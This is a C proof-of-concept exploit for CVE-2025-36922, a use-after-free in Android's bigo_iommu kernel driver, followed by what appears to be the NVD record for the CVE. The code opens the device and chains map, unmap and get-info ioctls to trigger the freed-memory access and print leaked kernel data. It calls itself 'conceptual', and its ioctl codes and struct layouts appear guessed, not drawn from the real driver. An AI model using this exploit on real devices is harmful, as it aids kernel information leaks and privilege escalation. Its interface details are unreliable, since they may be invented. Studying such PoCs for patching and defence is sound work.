CVE-2025-36922

/* * CVE-2025-36922 PoC - Use After Free in bigo_iommu driver * Author: Security Researcher * Note: This is a conceptual PoC for demonstration purposes * * Prerequisites: * - Local access to Android/Linux system * - High privileges (System execution level) * - Target device with vulnerable bigo_iommu driver */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> /* Define IOCTL commands for bigo_iommu driver */ #define BIGO_IOMMU_MAGIC 0xB9 #define BIGO_IOMMU_MAP _IOW(BIGO_IOMMU_MAGIC, 0x01, struct bigo_iommu_req) #define BIGO_IOMMU_UNMAP _IOW(BIGO_IOMMU_MAGIC, 0x02, struct bigo_iommu_req) #define BIGO_IOMMU_GET_INFO _IOW(BIGO_IOMMU_MAGIC, 0x03, struct bigo_iommu_info) struct bigo_iommu_req { unsigned long vaddr; unsigned long paddr; unsigned long size; void *priv_data; }; struct bigo_iommu_info { unsigned int version; unsigned int flags; unsigned long mapped_size; }; int trigger_uaf(int fd) { struct bigo_iommu_req req; struct bigo_iommu_info info; int ret; /* Initialize request structure */ memset(&req, 0, sizeof(req)); req.vaddr = 0x100000; req.paddr = 0x200000; req.size = 0x1000; /* Step 1: Map memory region - allocates internal structure */ printf("[*] Step 1: Mapping memory region...\n"); ret = ioctl(fd, BIGO_IOMMU_MAP, &req); if (ret < 0) { perror("[-] Map failed"); return -1; } printf("[+] Memory mapped successfully\n"); /* Step 2: Unmap the region - frees internal structure but pointer retained */ printf("[*] Step 2: Unmapping memory region (triggering UAF)...\n"); ret = ioctl(fd, BIGO_IOMMU_UNMAP, &req); if (ret < 0) { perror("[-] Unmap failed"); return -1; } printf("[+] Memory unmapped - internal structure freed\n"); /* Step 3: Trigger use-after-free by calling get_info * The driver may still reference the freed memory */ printf("[*] Step 3: Triggering use-after-free condition...\n"); memset(&info, 0, sizeof(info)); ret = ioctl(fd, BIGO_IOMMU_GET_INFO, &info); if (ret == 0) { printf("[+] UAF condition triggered - info leaked: 0x%lx\n", info.mapped_size); } return ret; } int main(int argc, char *argv[]) { int fd; const char *device = "/dev/bigo_iommu"; if (argc > 1) { device = argv[1]; } printf("[*] CVE-2025-36922 PoC - bigo_iommu UAF\n"); printf("[*] Target device: %s\n", device); /* Open the vulnerable device */ fd = open(device, O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); printf("[*] Note: Device may not exist or require root privileges\n"); return 1; } /* Trigger the UAF vulnerability */ trigger_uaf(fd); close(fd); return 0; }

{"cve": {"id": "CVE-2025-36922", "sourceIdentifier": "[email protected]", "published": "2025-12-11T20:15:56.760", "lastModified": "2025-12-12T17:26:38.920", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In bigo_map of bigo_iommu.c, there is a possible information disclosure due to a use after free. This could lead to local escalation of privilege in the OS Kernel level with System execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}]}]}], "references": [{"url": "https://source.android.com/security/bulletin/pixel/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}